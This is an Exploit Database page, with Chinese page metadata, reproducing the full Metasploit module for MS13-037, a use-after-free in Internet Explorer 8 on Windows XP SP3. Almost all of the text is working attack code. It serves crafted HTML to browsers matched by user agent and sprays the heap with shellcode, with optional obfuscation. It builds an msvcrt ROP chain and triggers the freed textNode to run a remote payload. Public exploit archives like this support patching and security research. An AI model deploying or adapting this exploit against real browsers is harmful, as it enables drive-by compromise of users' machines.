Microsoft Internet Explorer – textNode Use-After-Free (MS13-037) (Metasploit)

• Exploit Database
• 29 阅读

• 作者： Scott Bell
  日期： 2013-06-07
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/25999/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::HttpServer::HTML
  	include Msf::Exploit::RopDb
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name' => "MS13-037 Microsoft Internet Explorer textNode Use-After-Free",
  			'Description'=> %q{
  				This module exploits a use-after-free vulnerability in Microsoft Internet Explorer
  				where a DOM textNode pointer becomes corrupted after style computation. This pointer is then overwritten when the innerHTML property on the parent object is set.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'Scott Bell <scott.bell@security-assessment.com>' # Vulnerability discovery & Metasploit module
  				],
  			'References' =>
  				[
  					[ 'CVE', '2013-1311' ],
  					[ 'MSB', 'MS13-037' ],
  					[ 'URL', 'http://security-assessment.com/files/documents/advisory/ms13_037_ie_textnode_uaf.pdf' ]
  				],
  			'Payload'	=>
  				{
  					'BadChars' => "\x00",
  					'Space'=> 812,
  					'DisableNops'=> true,
  					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
  				},
  			'DefaultOptions'=>
  				{
  					'InitialAutoRunScript' => 'migrate -f'
  				},
  			'Platform'	=> 'win',
  			'Targets'	=>
  				[
  					[ 'Automatic', {} ],
  					[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ]
  				],
  			'Privileged'	=> false,
  			'DisclosureDate'=> "June 6 2013",
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
  			], self.class)
  
  	end
  
  	def get_target(agent)
  		#If the user is already specified by the user, we'll just use that
  		return target if target.name != 'Automatic'
  
  		nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
  		ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
  
  		ie_name = "IE #{ie}"
  
  		case nt
  		when '5.1'
  			os_name = 'Windows XP SP3'
  		end
  
  		targets.each do |t|
  			if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
  				print_status("Target selected as: #{t.name}")
  				return t
  			end
  		end
  
  		return nil
  	end
  
  	def heap_spray(my_target, p)
  		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
  		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
  
  		js = %Q|
  
  			var heap_obj = new heapLib.ie(0x20000);
  			var code = unescape("#{js_code}");
  			var nops = unescape("#{js_nops}");
  			while (nops.length < 0x80000) nops += nops;
  			var offset = nops.substring(0, #{my_target['Offset']});
  			var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
  			while (shellcode.length < 0x40000) shellcode += shellcode;
  			var block = shellcode.substring(0, (0x80000-6)/2);
  			heap_obj.gc();
  			for (var i=1; i < 0x300; i++) {
  				heap_obj.alloc(block);
  			}
  			var overflow = nops.substring(0, 10);
  
  		|
  
  		js = heaplib(js, {:noobfu => true})
  
  		if datastore['OBFUSCATE']
  			js = ::Rex::Exploitation::JSObfu.new(js)
  			js.obfuscate
  
  		end
  
  		return js
  	end
  
  	def get_payload(t, cli)
  		code = payload.encoded
  
  		# No rop. Just return the payload.
  		return code if t['Rop'].nil?
  
  		# ROP chain generated by mona.py - See corelan.be
  		case t['Rop']
  		when :msvcrt
  			print_status("Using msvcrt ROP")
  
  			stack_pivot = [
  			0x77c1cafb, # POP EBP # RETN [msvcrt.dll]
  			0x41414141, # Junk
  			0x781a04cb # POP ECX # PUSH ESP # RETN [urlmon.dll]
  			].pack("V*")
  
  			# Set up required heap layout
  			junk = "#{Rex::Text.rand_text_alpha(4)}"
  			null = "\x00"*4
  			valid_ptr = [0x0c0c0c0c].pack("V*")
  			offset = [0x0c0c0c6c].pack("V*")
  			heap_foo = junk*5 +
  				valid_ptr*2 +
  				junk +
  				offset +
  				junk*4 +
  				valid_ptr +
  				junk*6 +
  				valid_ptr +
  				null +
  				junk*2
  
  			rop_payload = heap_foo << generate_rop_payload('msvcrt', "", {'pivot'=>stack_pivot, 'target'=>'xp'})
  			rop_payload << code
  		end
  
  		return rop_payload
  	end
  
  	def get_exploit(my_target, cli)
  		p= get_payload(my_target, cli)
  		js = heap_spray(my_target, p)
  
  		html = %Q|
  		<!doctype html>
  		<html>
  		<head>
  		<script>
  		#{js}
  		function exploit() {
  			var obj = document.createElement('s')
  			obj.innerHTML = "⍼☠"
  			document.body.appendChild(obj)
  
  			document.styleSheets[0].cssText = "body:first-line{color:blue}"
  			CollectGarbage()
  
  			setTimeout(function(){
  				for (i=0;i<1000;i++){
  					obj.innerHTML = "\\u0c2c\\u0c0c\\u0c0c\\u0c0c\\u0c0c\\u0c0c\\u0c0c\\u0c0c";
  				}
  			}, 500)
  		}
  		</script>
  		<style>
  		</style>
  		</head>
  		<body onload='setTimeout("exploit()", 2000)'>
  		</body>
  		</html>
  		|
  
  		return html
  	end
  
  
  	def on_request_uri(cli, request)
  		agent = request.headers['User-Agent']
  		uri = request.uri
  		print_status("Requesting: #{uri}")
  
  		my_target = get_target(agent)
  		# Avoid the attack if no suitable target found
  		if my_target.nil?
  			print_error("Browser not supported, sending 404: #{agent}")
  			send_not_found(cli)
  			return
  		end
  
  		html = get_exploit(my_target, cli)
  		html = html.gsub(/^\t\t/, '')
  		print_status "Sending HTML..."
  		send_response(cli, html, {'Content-Type'=>'text/html'})
  
  	end
  
  end